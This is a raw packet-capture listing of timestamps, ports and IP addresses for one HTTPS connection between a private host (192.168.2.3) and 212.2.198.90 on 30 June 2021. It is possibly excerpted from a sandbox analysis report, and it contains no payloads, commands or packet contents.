Jun 30, 2021 20:06:09.125890970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.125916958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.125941038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.171714067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171765089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171791077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171813011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171824932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.171835899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171863079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171890974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171911955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171930075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.171935081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171936035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.171950102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.171963930 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.171987057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.171992064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172017097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172046900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172075987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172077894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172092915 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172106028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172132969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172164917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172194004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172211885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172215939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172218084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172244072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172270060 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172280073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172283888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172298908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172324896 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172328949 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172350883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172373056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172394991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172418118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172441006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172460079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172481060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172482967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172487020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172491074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172493935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172508001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172530890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172549009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172554016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172566891 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172580957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172610998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172635078 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172640085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172642946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172657013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172684908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172696114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172708988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172713041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172739029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172765970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172768116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172780037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172796011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172835112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172862053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172888041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172894955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172902107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172915936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172918081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172944069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172966957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.172966957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.172992945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173017979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173027039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173031092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173043966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173067093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173085928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173090935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173093081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173116922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173142910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173155069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173168898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173182011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173193932 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173218012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173243999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173269033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173295021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173305035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173307896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173322916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173350096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173362970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173366070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173373938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173399925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173403978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173409939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173424959 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173449993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173474073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173497915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173527002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173541069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173552990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173577070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173583984 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173588991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173594952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173603058 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173628092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173630953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173652887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173672915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173693895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173702955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173707962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173718929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173742056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173764944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173789978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173813105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173815012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173819065 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173830986 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173840046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173866034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173894882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173901081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173919916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.173921108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173944950 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173968077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.173990011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174012899 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174016953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174022913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174026012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174035072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174058914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174081087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174093008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174105883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174108028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174129963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174139023 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174154043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174179077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174202919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174223900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174247980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174249887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174266100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174269915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174278975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174299955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174326897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174348116 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174351931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174359083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174376965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174403906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174429893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174454927 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174474955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174479961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174480915 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174483061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174509048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174535990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174537897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174552917 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174561977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174585104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174587965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174611092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174635887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174660921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174684048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174695969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174705982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174709082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174730062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174732924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.174742937 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.174807072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.175318003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.175421953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185013056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185067892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185096979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185122013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185148001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185169935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185180902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185203075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185205936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185229063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185250998 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185252905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185276985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185280085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185302019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185319901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185323000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185344934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185368061 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185369015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185391903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185395002 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185412884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185434103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185435057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185456991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185477972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185501099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185522079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185547113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185564041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185569048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185570955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185575962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185590982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185610056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185612917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185633898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185646057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185662031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185679913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185687065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185712099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185738087 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185743093 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185770035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185787916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185794115 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185817957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185818911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185842991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185856104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185867071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185892105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185892105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185914993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185940981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185941935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185965061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.185982943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.185986996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.186011076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.186032057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.186033010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.186053038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.186053991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.186075926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.186095953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.186144114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197185040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197293997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197343111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197350025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197360992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197376966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197400093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197407007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197423935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197442055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197457075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197474003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197491884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197506905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197524071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197540045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197556019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197571993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197587967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197616100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197627068 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197628975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197648048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197664976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197679996 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197696924 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197715998 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197731972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197757959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197763920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197782993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197793961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197818041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197818041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197834969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197849989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197868109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197875023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197890997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.197905064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.197932959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.198225021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.198251009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.198302031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.198338032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244385958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244429111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244456053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244482994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244505882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244525909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244538069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244551897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244570017 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244574070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244591951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244611979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244622946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244637012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244646072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244668961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244683027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244692087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244715929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.244716883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.244734049 CEST	443	49720	212.2.198.90	192.168.2.3
